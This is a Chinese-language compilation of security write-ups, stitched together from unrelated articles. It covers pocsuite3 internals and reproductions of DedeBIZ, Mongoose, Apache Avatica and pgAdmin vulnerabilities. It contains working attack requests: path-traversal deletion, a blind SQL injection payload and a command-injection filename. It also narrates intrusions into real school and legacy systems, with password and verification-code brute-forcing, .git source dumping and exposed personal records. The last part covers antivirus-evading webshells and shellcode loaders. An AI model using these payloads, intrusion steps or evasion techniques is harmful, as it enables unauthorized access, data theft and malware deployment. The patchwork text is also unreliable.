如果poc是目录，则使用 os.walk() 递归遍历该目录下的所有文件，过滤出 .py或 .yaml 文件，并将其完整路径添加到 _pocs 列表中。

Step2：遍历加载 PoC 文件内容并检查，并对加载失败的poc进行日志记录。

Step3：最后从 Seebug 网站加载 PoC。

poc模版跟据目录找到现存poc：pocsuite3/pocs，thinkphp_rce为例

所有模版均是继承自父类POCBase，跟进：

父类在初始化时便设置了一系列可能用到的属性，例如自定义headers，目标url，端口等等。这里关注execute()函数

self.url处采用if判断：如果为http协议则采用parse_target_url()解析，else采用build_url()解析：mode值默认为verify。随后调用_execute()根据mode值执行。

shell()，attack()，_verify()均需自定义重写。回到例thinkphp_rce例子：_verify()函数如下：

调用了_check()函数进行检验：

通过request.post()发送设置好payload的请求，根据返回包关键字判断是否成功。（flag自定义）返回的结果在_verify()函数又会调用parse_output()转化为json格式输出。

动态核心load_file_to_module()继续分析_set_pocs_modules()

将读取文件切割为文件名和后缀名，根据后缀名重构路径file_pth，if判断file_path构建成功则进入红框代码处。

通过get_filename()从file_path路径提取文件名，由于wuth.ext=False，则不提取文件名后缀，提取后拼接在pocs_后并赋值给module，例如：pocs_thinkphp_rce。随后三行代码涉及到python中动态模块加载知识：

spec = importlib.util.spec_from_file_location(module_name, file_path,
loader=PocLoader(module_name, file_path))

#创建模块规格，采用自定义加载器类加载模块，loader:加载器对象，负责如何从文件加载模块

mod = importlib.util.module_from_spec(spec)#根据规格创建模块对象

spec.loader.exec_module(mod) #执行模块代码，确保为完整可用的模块

动态模块注解：

模块是包含 Python 代码的文件，可以通过 import语句加载并使用。通常，当你使用 import 语句导入一个模块时，Python会根据模块的名称查找相应的文件（如 .py 文件），并将其加载到内存中。

然而，在一些特殊的情况下，比如动态加载模块或运行时创建模块，我们需要用到importlib 模块。importlib提供了一些工具，可以帮助我们在运行时加载模块，而不是在编写代码时静态地导入。

例如：importlib.util.spec_from_file_location

spec（模块加载规格）描述了如何加载一个模块。它定义了如何找到模块代码，如何加载它，以及加载时需要的一些元数据。类似于说明书，它告诉Python 模块在哪里、叫什么名字、以及如何加载它。

接着看看是如何调用loader加载器的exec_module()函数进行加载的：

filename接受poc绝对路径，poc_code接受poc文件内容。随后调用check_requires()检查代码运行中需要的包，通过import函数导入。compile()为python内置函数，将源代码字符串poc_code编译为字节码，'exec'这是一个编译模式，表示代码将作为一段可执行的代码被执行。常见的编译模式有'eval'（用于单个表达式）和 'exec'（用于整个代码块）之后再调用exec()函数执行字节码对象obj当中的代码，并绑定到module.dict上，这样就可以通过module.函数()直接调用poc_code当中的函数。

多线程与输出加载

跟进：_set_task_queue()

if判断，poc模版与目标ip均不为空情况下，遍历出poc_module与target。并将它们组成元组，加入kb.task_queue中，确保数据在线程安全传输。

start()函数

调用runtime_check()检查poc是否加载成功：

再调用python标准库中的queue.Queue类的qsize()方法，获取先前kb.task_queue队列的任务数量。run_threads()函数随后进入start()函数核心：run_threads(conf.threads, task_run)：该函数传入线程数conf.threads()，与多线程执行函数task_run()。

这个函数的目的是启动多个线程并执行给定的函数thread_function。num_threads: 需要启动的线程数量。thread_function: 要在线程中运行的目标函数。args: 传递给 thread_function 的参数，默认为空元组。forward_exception: 控制是否在捕获异常后继续传播异常，默认值为 True。start_msg: 控制是否输出启动线程的消息，默认值为 True。

先threads = []创建空列表，用来存储后续的线程实例

随后进行线程数检查，如果大于1，则是多线程，并在线程数超过max时发出告警提示，线程不大于1，则直接执行函数

检查完为多线程则进行下一步：循环创建线程，并启动

根据num_threads数量循环创建，并调用setDaemon(TRUE)将所有线程设置为守护线程。（守护线程：后台运行，随主线程终止而终止)

随后再调用python标准库函数isAlive()进行循环检查，直到所有线程完成才跳出循环。(python3建议使用is_Alive()函数)。

执行完run_threads()函数后，finally代码再执行task_done()，跟进该函数，内部存在三个函数：

show_task_result()：会取出poc执行结果，然后格式化输出

result_plugins_start():该函数负责调用file_record.py中的start()函数

result_compare_handle():显示来自各个搜索引擎的对比数据

先前已经分析了start(0函数核心在于run_threads(conf.threads,task_run)，我们接着跟进分析多线程执行函数：task_run()

多线程执行函数：

task_run():

先确认task_queue不为空，并且thread_continue为真，随后从task_queue获取目标ip与poc模版

（之前通过task_queue.put((target,poc_module))存储进去的）

随后调用python标准库copy模块中的deepcpy，进行深拷贝操作，复制poc模版，防止原始poc模块被修改。

poc_name获取poc模块名称方便日志打印。

随后处理用户自定义参数，检查是否尝试修改白名单内容，并校验是否存在必选参数未设置。

随后进入核心代码块，根据传参调用excute()函数：

后续则是根据测试成功或者失败，对结果进行处理输出

综合文章分析，pocsuite3项目被我分成如下执行流程：

在clip.py中调用main()函数，整个项目则开始执行，进行环境检查，参数获取后，则进入核心代码：在main()函数中调用init()与start()函数，最后则是我上文刚分析过的数据处理与输出格式化。

https://github.com/DedeBIZ/DedeV6/archive/refs/tags/6.2.10.zip

?DedeBIZ 系统并非基于 MVC 框架，而是采用 静态化与动态解析结合 的方式进行页面处理。其“路由”主要依赖 静态文件跳转 和 数据库模板解析，因此可以直接访问 PHP 文件来触发相应的动态解析逻辑。

我一般会首先关注对文件的操作，任意文件上传、任意文件删除，任意文件读取、任意文件下载等漏洞都是我第一时间关注的重点，除了黑盒测试时关注功能点外，通过代码审计来看的话速度会更快一点。（这里有一个小技巧，就是直接全局搜索?filename=，一些 js 文件中可能会包含对文件处理的操作，搜索到后就可以直接进行尝试。）

授权任意文件删除

GET /admin/file_manage_control.php?fmdo=del&filename=../1.txt HTTP/1.1
Host: dedev6.test
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=51t797sesf49d9oo8je5ugvjfa; dede_csrf_token=dfb0e80d4f74949ef3730a90d3f49c64; dede_csrf_token__ckMd5=554688926d285f96; DedeUserID=1; DedeUserID__ckMd5=6269166a7279678f; DedeLoginTime=1703426661; DedeLoginTime__ckMd5=7c3591094ad5f36b; DedeStUUID=22636dd1d7205; DedeStUUID__ckMd5=bae1ecb193958e0d; ENV_GOBACK_URL=%2Fadmin%2Fmychannel_main.php
Connection: close

src\admin\file_manage_control.php

src\admin\file_class.php#DeleteFile

该漏洞发生在 file_manage_control.php 处理 fmdo=del请求时，由于 DeleteFile方法直接拼接 filename参数生成完整路径并调用 unlink 删除文件，缺乏路径校验，导致攻击者可以构造 ../进行目录遍历，删除任意文件。通过 GET /admin/file_manage_control.php?fmdo=del&filename=../1.txt请求，利用 filename=../1.txt逃出受限目录，删除站点根目录下的 1.txt文件。

授权 SQL 注入

首先需要创建表单

修改添加字段信息

点击字段发布信息

构造数据包

POST /admin/diy_list.php?action=delete&diyid=1&id[]=1)AND+sleep(5 HTTP/1.1
Host: dedev6.test
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://dedev6.test/admin/index_body.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=51t797sesf49d9oo8je5ugvjfa; dede_csrf_token=dfb0e80d4f74949ef3730a90d3f49c64; dede_csrf_token__ckMd5=554688926d285f96; DedeUserID=1; DedeUserID__ckMd5=6269166a7279678f; DedeLoginTime=1703426661; DedeLoginTime__ckMd5=7c3591094ad5f36b
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

构造 payload 1)AND+(case(1)when(ascii(substr((select(database()))from(1)for(1)))=100)then(sleep(5))else(1)end

(case(1)when(ascii(substr((select(database()))from(1)for(1)))=100)then(sleep(5))else(1)end 为 true 与查询出的数据库名 dedebiz 第一个字母 d 的 ascii 相符合。

为什么我们操作的时候需要那么多的前置条件呢，接下来我会详细说明，首先我们从代码层面查看：

src/admin/diy_list.php

对传入的参数 数组 id 通过 ， 拼接起来，最后传参到 SQL 语句：

$query = "DELETE FROM `$diy->table` WHERE id IN ($ids)";

参数可以通过 ） 闭合，构成 SQL 注入

我们注意到：

          $query = "DELETE FROM `$diy->table` WHERE id IN ($ids)";
        if ($dsql->ExecuteNoneQuery($query)) {
            showmsg('删除成功', "diy_list.php?action=list&diyid={$diy->diyid}");
        } else {
            showmsg('删除失败', "diy_list.php?action=list&diyid={$diy->diyid}");
        }

执行的结果并不会直接返回到界面上，所以这个漏洞时一个盲注漏洞，基于盲注漏洞的特点以及执行数据库时，如果这个表为空，那么便不会执行成功，为了使这个数据库语句执行成功，数据库中必须先保存有数据。

同时这个注入漏洞可以说绝无仅有：

对比代码我们发现，就这一部分没有对变量 id 的类型进行检测。

CVE-2024-53900 Mongoose 8.8.3、7.8.3 和 6.13.5 之前的版本容易受到 $where 运算符不当使用的影响。此漏洞源于 $where 子句能够在 MongoDB 查询中执行任意 JavaScript 代码，这可能导致代码注入攻击以及未经授权的数据库数据访问或操纵。

CVE-2025-23061 Mongoose 8.9.5、7.8.4 和 6.13.6 之前的版本容易受到 $where 运算符不当使用的影响。此漏洞源于 $where 子句能够在 MongoDB 查询中执行任意 JavaScript 代码，可能导致代码注入攻击以及未经授权的数据库数据访问或操纵。该问题的存在是因为CVE-2024-53900的修复不完整。

Mongoose 是一个用于 Node.js 的 MongoDB 对象建模工具，它使得与 MongoDB 数据库交互变得更加简单和高效。我们可以看到这两个漏洞描述大体相同，都是因为在使用 $where 运算符时出现了问题。

环境搭建

安装 MongoDB 不知道是不是本地环境的问题，错误百出，于是还是采用 docker 来安装 docker pull mongo docker run --name mongodb -d -p 27017:27017 mongo

快速创建一个项目并指定 mongoose 版本

npm init -y
npm install mongoose@6.13.4 --save
node test.js

漏洞复现

根据漏洞特点我编写了一个 js 脚本，在不同版本下执行，比较不同情况对应的结果

const mongoose = require("mongoose");

// 连接 MongoDB
const MONGO_URI = "mongodb://localhost:27017/testdb";

async function testWhereInjection() {
  await mongoose.connect(MONGO_URI, { useNewUrlParser: true, useUnifiedTopology: true });

  // 定义 User 模型和 Post 模型
  const UserSchema = new mongoose.Schema({
    username: String,
    isAdmin: Boolean,
    password: String 
  });

  const PostSchema = new mongoose.Schema({
    title: String,
    content: String,
    author: { type: mongoose.Schema.Types.ObjectId, ref: 'User' }
  });

  const User = mongoose.model("User", UserSchema);
  const Post = mongoose.model("Post", PostSchema);

  // 插入测试数据
  await User.deleteMany({});
  await Post.deleteMany({});
  
  const users = await User.insertMany([
    { username: "admin", isAdmin: true, password: "admin123" },
    { username: "user1", isAdmin: false, password: "user123" },
    { username: "user2", isAdmin: false, password: "user456" }
  ]);

  await Post.insertMany([
    { title: "Post 1", content: "Content 1", author: users[0]._id },
    { title: "Post 2", content: "Content 2", author: users[1]._id }
  ]);

  console.log("√ 已插入测试数据");

  // 1. 正常的 populate 查询
  try {
    const result = await Post.findOne().populate({
      path: 'author',
      match: { username: "admin" }
    });
    console.log("√ 正常 populate 查询结果:", result);
  } catch (err) {
    console.error("× 正常 populate 查询失败:", err.message);
  }

  // 2. 测试 populate match 中的 $where 注入
  try {
    const result = await Post.findOne().populate({
      path: 'author',
      match: { $where: "this.isAdmin" }  // 修改这里，去掉 return
    });
    console.log("√ `$where` populate 查询成功，说明可能存在漏洞:", result);
  } catch (err) {
    console.error("× `$where` populate 查询被拦截:", err.message);
  }

  // 3. 测试深层嵌套的 $where 注入
  try {
    const result = await Post.findOne().populate({
      path: 'author',
      match: { 
        $and: [
          { nested: { $where: "this.isAdmin" } }  // 修改这里，去掉 return
        ]
      }
    });
    console.log("√ 嵌套 `$where` populate 查询成功，说明可能存在漏洞:", result);
  } catch (err) {
    console.error("× 嵌套 `$where` populate 查询被拦截:", err.message);
  }

  // 4. 测试数组中的 $where 注入
  try {
    const result = await Post.findOne().populate({
      path: 'author',
      match: [{ $where: "this.isAdmin" }]  // 修改这里，去掉 return
    });
    console.log("√ 数组中的 `$where` populate 查询成功，说明可能存在漏洞:", result);
  } catch (err) {
    console.error("× 数组中的 `$where` populate 查询被拦截:", err.message);
  }

  await mongoose.disconnect();
}

testWhereInjection().catch(console.error);

mongoose@6.13.4

mongoose@6.13.5

mongoose@6.13.6

通过执行结果我们发现，在 mongoose@6.13.4 中，$where 语句可以任意执行语句，经过修复后的 mongoose@6.13.5 中，只能通过嵌套来执行插入的语句，mongoose@6.13.6 已经修复了通过嵌套执行插入语句的问题。

漏洞分析

https://github.com/Automattic/mongoose/compare/6.13.4...6.13.5?diff=split&w=

第一次进行修复

１. 首先判断 match 是否为一个数组,使用 Array.isArray(match)进行检查。

２. 如果 match 是一个数组,则使用 for...of 循环遍历数组中的每个元素 item。

３. 对于每个 item,进行以下检查：

　　如果item 不为 null (item !\= null),并且 item 对象中存在 $where 属性(item.$where),则抛出一个 MongooseError 异常,错误信息为 "Cannot use $where filter with populate() match"。这是因为在 populate() 查询中不允许使用 $where 操作符。

４. 如果 match 不是一个数组,则进行另一个判断：

　　如果 match 不为 null (match !\= null),并且 match 对象中存在 $where 属性(match.$where !\= null),同样抛出一个 MongooseError 异常,错误信息为 "Cannot use $where filter with populate() match"。

进行 populate() 查询时,防止使用 $where 操作符，检查传入的 match 参数是否包含 $where 属性,无论 match 是一个数组还是一个对象。如果发现 match 中存在 $where 属性,就会抛出一个 MongooseError 异常,提示不能在 populate() 查询中使用 $where 过滤器

https://github.com/Automattic/mongoose/compare/6.13.5...6.13.6?diff=split&w=

第二次修复

１. 函数接受一个参数 match,表示要检查的对象。

２. 首先进行两个条件判断：

　　如果 match 为null 或 undefined,直接返回,不进行后续检查。

　　如果 match 的类型不是对象,也直接返回,不进行后续检查。 这两个判断是为了避免对非对象类型进行遍历和递归。

３. 使用 Object.keys(match) 获取 match 对象的所有属性键,并使用 for...of 循环遍历每个属性键 key。

４. 对于每个属性键 key,进行以下检查：

　　如果 key 等于 '$where',表示在 match 对象中发现了 $where 操作符,抛出一个 MongooseError 异常,错误信息为 "Cannot use $where filter with populate() match"。

５. 如果当前属性的值 match[key] 不为 null 或 undefined,并且其类型为对象,则递归调用 throwOn$where 函数,将 match[key] 作为参数传入,对嵌套的对象进行相同的检查。

通过递归调用 throwOn$where 函数,可以对 match 对象进行深度遍历,检查其中是否包含 $where 操作符,无论 $where 操作符位于对象的哪个层级。

首先利用一下最近比较热门的 Deepseek ，询问他是否清楚漏洞相关的信息。

通过回答我们可以了解到这个漏洞的概况，具体漏洞的版本，以及漏洞产生的原因。

漏洞简介

Apache Calcite Avatica JDBC 驱动程序根据通过 httpclient_impl 连接属性提供的类名来创建 HTTP 客户端实例；但是在驱动程序实例化之前不会验证该类是否实现了预期的接口，这样一来就会导致可以通过调用任意类来执行代码。

执行这个漏洞并造成一定的危害性，还需要两个先决条件：

• 必须拥有控制 JDBC 连接参数的权限

• 类路径中有一个具有 URL 参数和执行代码能力的函数（目前需要自己构造）

漏洞复现&分析

简单点，通过 maven 来创建漏洞环境

        <!-- https://mvnrepository.com/artifact/org.apache.calcite.avatica/avatica -->
        <dependency>
            <groupId>org.apache.calcite.avatica</groupId>
            <artifactId>avatica</artifactId>
            <version>1.21.0</version>
        </dependency>

创建完成漏洞环境后，我们就需要来编写一段代码想办法触发这个漏洞，我个人的建议是通过对比代码补丁，一般来说修复完成代码后，总会写一个测试类来进行测试

import org.apache.calcite.avatica.BuiltInConnectionProperty;
import org.apache.calcite.avatica.ConnectionConfig;
import org.apache.calcite.avatica.ConnectionConfigImpl;
import org.apache.calcite.avatica.remote.AvaticaHttpClient;
import org.apache.calcite.avatica.remote.AvaticaHttpClientFactory;
import org.apache.calcite.avatica.remote.AvaticaHttpClientFactoryImpl;
import java.net.URL;
import java.util.Properties;

public class test {
    public static void main(String[] args) throws Exception {
        Properties props = new Properties();
        props.setProperty(BuiltInConnectionProperty.HTTP_CLIENT_IMPL.name(),"className");
        URL url = new URL("url");
        ConnectionConfig config = new ConnectionConfigImpl(props);
        AvaticaHttpClientFactory httpClientFactory = new AvaticaHttpClientFactoryImpl();
        AvaticaHttpClient client = httpClientFactory.getClient(url, config, null);
    }
}

这样一来我们就编写了一个漏洞 Demo calssName 和 url 的值是我们可以操作控制的，我们进行调试分析一下

org.apache.calcite.avatica.remote.AvaticaHttpClientFactoryImpl#getClient

这个地方我们就注意到了最后调用 instantiateClient 来处理的两个参数 className 和 url 一个来自于直接传参，另一个来自于 config.httpClientClass() 会从 config 对象中获取 HTTP 客户端的实现类名称，并将其作为一个 String 返回

‍

所以当参数传入到 org.apache.calcite.avatica.remote.AvaticaHttpClientFactoryImpl#instantiateClient 其中的两个参数 className 和 url 都是我们可以控制的

不需要向下继续调试，我们就看到了关键代码 constructor.newInstance(Objects.requireNonNull(url));

这样一来我们就可以通过控制 className 和 url 来实现调用任意类，但是这个类的必须有 URL 参数的处理

刚开始想到的方法是

利用 spring 中的类构造函数加载远程配置实现 RCE

• org.springframework.context.support.ClassPathXmlApplicationContext

import org.springframework.context.support.ClassPathXmlApplicationContext;
public class JXpathDemo {
    public static void main(String[] args) {

        String s = "http://127.0.0.1:8080/bean.xml";
        ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext(s);
    }
}

似乎如此一来就满足了条件，我们先试试

爆出了一个错误，我们注意到 lassPathXmlApplicationContext 类没有接收 java.net.URL 参数的构造方法。ClassPathXmlApplicationContext 类的构造方法接收的是 String 类型的路径，通常是用于加载 Spring 配置文件的路径。

所以这种利用方式适用于很多种情况 Apache Commons JXPath 远程代码执行、PostgresQL JDBC Driver 任意代码执行 等，但是并不适配当前的环境。(目前还没有找到合适的类来触发利用这种漏洞)

为了进一步体现危害性，我自己创建一个类来体现

import java.net.URL;

public class CustomHttpClient {
    private URL url;

    // 构造函数，接受一个 URL 类型的参数
    public CustomHttpClient(URL url) throws Exception {
        Runtime.getRuntime().exec("calc.exe");
    }
}

漏洞修复

通过对比我们发现对传入的类进行了控制，限定必须属于AvaticaHttpClient 的子类

https://github.com/apache/calcite-avatica/commit/0c097b6a685fc1f97f151505a219976f15ed0c4c?diff=split&w=0

我们可以看到针对于漏洞 CVE-2022-4223，官方做了一定的修复措施。

web\pgadmin\misc__init__.py#validate_binary_path

首先是添加了 @login_required 进行权限校验。在 Flask 框架中，@login_required 装饰器通常与 Flask-Login 扩展一起使用。Flask-Login 提供了简单而强大的用户身份验证功能，其中包括 @login_required 装饰器用于保护需要登录用户才能访问的视图。当在一个函数、方法或类上应用 @login_required 装饰器时，它会检查当前用户是否已经登录。如果用户未登录，则会将其重定向到登录页面或返回相应的错误信息，而不允许访问被装饰的代码块。

添加了权限校验之后，这个漏洞就从未授权的前台漏洞，转换为需要登录的后台漏洞了。

同时对传入的路径进行校验，通过 os.path.exists 来判断是否存在。

linux

我们发现会对传入的路径进行校验的，那么在linux 下，我们可以通过在服务器上上传一个包含恶意文件名的文件，来进行绕过。

可以从 docker hub 上搜索 docker 资源

https://hub.docker.com/search?q=pgadmin

docker pull dpage/pgadmin4:7.6
docker run -e 'PGADMIN_DEFAULT_EMAIL=test@example.com' -e 'PGADMIN_DEFAULT_PASSWORD=123456'  -p 5050:80 --name pgadmin -d  docker.io/dpage/pgadmin4:7.6

登录后台工具->存储管理器

上传一个包含恶意文件名的文件

POST /file_manager/filemanager/3395111/ HTTP/1.1
Host: 127.0.0.1:5050
Content-Length: 491
X-pgA-CSRFToken: ImE3NDYzOGJhOWYxNDIzY2QzZDUwNTI3MWMzOGU4NGNhMmNhNzkzYTQi.Zi8ctA._DuZsbw2SE05kwuVkqgG7Y-KsjE
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryihDQGI2B09k9alLf
Origin: http://127.0.0.1:5050
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:5050/browser/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: pga4_session=2397843f-fbe6-4481-947e-e30f73c6a0ee!GPxXiZuTJzjVn+sk6vhlLNAmjhQr6xIY0yumFSIGBAQ=; PGADMIN_LANGUAGE=zh
Connection: close

------WebKitFormBoundaryihDQGI2B09k9alLf
Content-Disposition: form-data; name="newfile"; filename="\";id;#"
Content-Type: text/plain

123
------WebKitFormBoundaryihDQGI2B09k9alLf
Content-Disposition: form-data; name="mode"

add
------WebKitFormBoundaryihDQGI2B09k9alLf
Content-Disposition: form-data; name="currentpath"

/
------WebKitFormBoundaryihDQGI2B09k9alLf
Content-Disposition: form-data; name="storage_folder"

my_storage
------WebKitFormBoundaryihDQGI2B09k9alLf--

同时可以得到在文件在服务器上的路径

打开文件->配置

路径->二进制路径->填入恶意文件的位置

点击运行

windows

下载软件并进行安装

https://ftp.postgresql.org/pub/pgadmin/pgadmin4/v6.21/windows/pgadmin4-6.21-x64.exe

需要把C:\Users\username\AppData\Local\Programs\pgAdmin 4\v5\web 下的config.py 修改 DEFAULT_SERVER \= '0.0.0.0'

因为windows 无法利用拼接来执行命令，所以还是要想办法成功加载文件才行。

import os
binary_path = "\\\\192.168.222.128\\TMP\\"
UTILITIES_ARRAY = ['pg_dump', 'pg_dumpall', 'pg_restore', 'psql']
for utility in UTILITIES_ARRAY:
    full_path = os.path.abspath(
        os.path.join(binary_path, (utility if os.name != 'nt' else (utility + '.exe')))
    )
    print(full_path)
    print(os.path.exists(full_path))

windows 不能再利用共享资源来实现，所以也构造一个exe 上传并执行。

编译恶意的exe文件并放到上传

• pip install pyinstaller

• type execute_calc.py

  import subprocess
  
  def execute_calc():
      subprocess.call("calc.exe")
  
  if __name__ == "__main__":
      execute_calc()

• pyinstaller --onefile execute_calc.py

和linux启动有所不同

Tools->import

成功将恶意文件上传到服务器上。

同时构造请求数据包

POST /misc/validate_binary_path HTTP/1.1
Host: 192.168.222.145:5050
X-pgA-CSRFToken: IjU4MzQ0OTM2Yzc3YzM5ZmE5Yjg0MjRhODVlNzkzZjM5MTViZDBmNzki.Zi9GcQ.pGwCjLqPq3fNzohIRNerpipIRK8
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Origin: http://192.168.222.145:5050
Referer: http://192.168.222.145:5050/browser/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: pga4_session=e6f521fc-e9f4-4c58-bf0a-e9abafb4ceb5!JG7fBzRT4FkugKb175t9vWdZpKmAtnbo0d/oPzcAbFI=; PGADMIN_LANGUAGE=en
Connection: close
Content-Type: application/json
Content-Length: 39

{"utility_path":"C:\\Users\\whippet\\"}

可能是因为本地测试的原因，后来尝试的时候发现，本地去调用共享文件时，可以接收到请求，但是很快就断开连接，所以最后的结果是 False。

所以环境为windwos 时可以利用共享资源来绕过 os.path.exists(）的检测。

信息搜集：

web站点的话从域名，ip等入手范围太大了，于是决定直接从小程序入手。

微信搜索学校名称，便直接可以通过公众号，小程序寻找目标。这里注意如果你要挖掘某edu的漏洞，就可以多关注他们的公众号，小程序，看看最近有没有什么新的功能出现，这种功能点漏洞比较容易出现。

于是我直接在某公众号发现了一个新功能：报名入口。临近毕业，所有有很多公司可能会来学校宣讲或者招人，这种时候就很有可能出现新功能，本案例就是。

照常点击功能，出现跳转，直接转浏览器测web页面。

日志泄露nday：

在登陆时发现限定了登陆时间，而目前已经不在时间内，可见这其实就是一个临时的系统。

我检查js信息尝试调试js绕过，没成功就通过报错发现为thinkphp框架，直接上工具一把梭。

链接：https://github.com/Lotus6/ThinkphpGUI

只可惜只存在一个日志泄露的nday,没能shell。

根据日志泄露目录可以发现能够遍历近一年的日志信息，此时的思路就是从日志中看能不能拿到管理员或者其它用户登陆的敏感信息，例如账号密码之类，这样就可以扩大日志泄露危害，进一步挖掘利用。

参考文章：

https://cloud.tencent.com/developer/article/1752185

这篇文章就是利用kali自带工具whatweb探测出thinkphp框架：

并通过dirb扫除.svn泄露：

再通过svnExploit工具进行下载利用：

链接：https://github.com/admintony/svnExploit

并在svn中发现大量日志泄露：

并通过找到最新的日志信息，找到密码hash值，通过cmd5实现解密并成功进入后台：

https://blog.csdn.net/qq_41781465/article/details/144092247

这篇文章也是在日志信息中成功找到账号密码，配合dirsearch扫出后台，成功登陆：

不过我这次日志信息量虽然很大，且经过我实际尝试也确实会记录我的一些操作信息，但翻遍日志却并貌似不存在敏感信息：

但我发现在日志中泄露了sql语句，貌似可以寻找对应接口，参数拼接成数据包尝试sql注入，但我找遍了日志都没有发现可以直接使用的接口或者代入了sql语句的参数。

不弱的弱口令：

翻找js文件，尝试直接拼接登陆验证接口，和其它查询接口全部失败。

不过根据找到的其它js路径发现其目录结构基本拼接在/syl/下，于是根据经验在目录后拼接admin,系统跳转到后台管理员登陆界面，输入账户为admin页面显示密码错误，输入其它账户页面显示账号不存在，可知账户为admin。

根据页面特征制作字典并加上弱口令top500的内容，尝试爆破成功：密码为页面根路径字母syl+88888888。

这种:syl88888888一看就是弱口令，但如果你只是通过现存的什么top100，top500这种字典是爆破不出来的，所以在进行渗透测试时一定还要根据页面特征，关键字，系统名称首字母等信息制作特定的社工字典尝试。

比如kali自带的cewl工具，便是一种基于爬虫，对页面目录信息进行循环爬取再生成字典的工具。

工具分析文章：https://www.cnblogs.com/jackie-lee/p/16132116.html

成功进入后台。

并发现大量信息泄露：

存在四千多条用户敏感信息泄露。

爬出靶场的高危：

通过dirsearch扫描目录，看有没有结果。

直接扫出来了好几条.git路径，直接访问泄露的路径看不出什么敏感信息。

但很明显站点存在.git信息泄露漏洞，一个我曾经只在ctf技能树复现过的漏洞。

Git就是一个开源的分布式版本控制系统，在执行gitinit初始化目录时会在当前目录下自动创建一个.git目录，用来记录代码的变更记录等，发布代码的时候如果没有把.git这个目录删除而是直接发布到服务器上，那么攻击者就可以通过它来恢复源代码，从而造成信息泄露等一系列的安全问题。

尝试githack进行探测利用（只能python2使用）

工具链接：https://github.com/BugScanTeam/GitHack

该工具基本原理就是解析.git/index文件，找到工程中所有的文件，文件名，再去.git/objects/文件夹下下载对应的文件，并通过zlib解压文件并按原始的目录结构写入源代码

结果我直接把整个git扒了下来，得到站点整套源码，于是通过vscode打开分析：

随意翻找文件，找到mysql数据库账号密码，于是扫描端口发现开启3306，尝试连接，发现似乎做了IP白名单限制，于是放弃。

再翻找文件，发现居然直接把后台部分用户的信息写在了.sql文件内，包含姓名，身份证，电话等信息，不过只有几百条。

此处其实还可以深入对php源码进行审计，发现更多高危漏洞，但我却不会php代审，所以打到这里就收工了，觉得应该可以拿证了。

整个渗透过程很顺利，大概就两三个小时，还是信息搜集做得好，不然都不一定能出成果，同时需要多阅读漏洞挖掘文章，这样在渗透测试过程中才能对漏洞利用更加熟练。

在各种信息搜集中，发现某个ip的端口挂着一个比较老的服务。

首先看到了员工工号和手机号的双重验证，也不知道账号是什么结构组成的，基本上放弃字典爆破这一条路。于是乎打开之前用灯塔的扫描结果，看看文件泄露是否有什么可用的点。发现其中有一个略显突出的help.html。可能是系统的帮助文档

看得出来也是一个年久失修的系统了，图片的链接都已经404了。但是这里得到了一个示例账号zs001，也知道了初始密码是123456（吐槽：果然年久失修了，这个系统就没有输入密码的input，只有一个手机号验证码）。

知道了账号，这里还缺一个手机号。感觉这个系统应该没做验证，毕竟看上去是一个老旧的系统，估计有没有人用用都不好说，可能是单位那种废弃了但是还没下架的边缘资产。然后随便输入一个手机号上去。果然！

然后随便找个手机接码平台等待验证码发过来，然后过了十几分钟无果，想到可能是废弃资产的原因验证码接口早就失效了。于是没办法只能掏出burp开始爆破，估计验证码也是四位数，如果是六位数验证码大概率没系了。但是这波运气还算可以。也是成功爆破出来了。

然后登录后台直接上传一个木马，没有任何过滤。emmmmmmm开始怀念过去。那时候的洞是真好挖啊。

但是访问的时候出现了一个坏消息。404了，404了怎么办呢。想到了可能目标服务器上有杀软之类的东西。木马可能是上传到服务器上了，然后再上传到服务器之后被杀软自动隔离，那么这时候访问就会出现404。

0x02 webshell免杀

这里中途又替换了几个github上的免杀木马，均无效。ps:我是懒狗，免杀什么的能不写代码就不写代码。php这玩意有个好处，就是语法特别脏，各种免杀手法层出不穷，花里胡哨。这里就简单的介绍几种比较偷懒的方法。

2.1 无字母webshell

个人在实际渗透过程中还算挺好用的，无字母webshell本来是ctf的一些题目，但是事实上免杀效果确实也挺强，而且适应性也比较高，适合一句话木马。之后可以直接上蚁剑链接。

举例：

ps：当然都说了偷懒，肯定不是我写的，直接去ctf平台的题目的writeup偷一个就好了。或者直接百度搜索无字母webshell。

免杀效果如下：

ps: emmmmmmm，我只能说，无敌好吧。

2.2 一键免杀工具免杀

这里不多说了，去github直接找就是，但是github特征过于明显，以至于被多个杀软厂商标记。现在感觉免杀的效果也不太好了。基本上start高一些的工具生成的webshell都是秒杀。但是可以找一些start数量少的，效果也还不错。

2.3 混淆免杀

混淆免杀，php有很多在线混淆的网站，也就是在不改变代码的功能情况下打乱语法的结构使得代码变为不可读或者可读性很差的代码防止其他人去修改。

可以直接去网上搜索php混淆

这里就是用的就是在线混淆php代码的方式直接过了目标主机上的杀软。

0x03 绕过杀软上线

接下来就是传frp代理，上cs的操作了。这里先上一个cs，但是由于目标机器上有杀软，所以采用shellcode加加载器的方式去进行绕过。众所周知，cs的特征较为明显，很容易就会被杀软拦截。

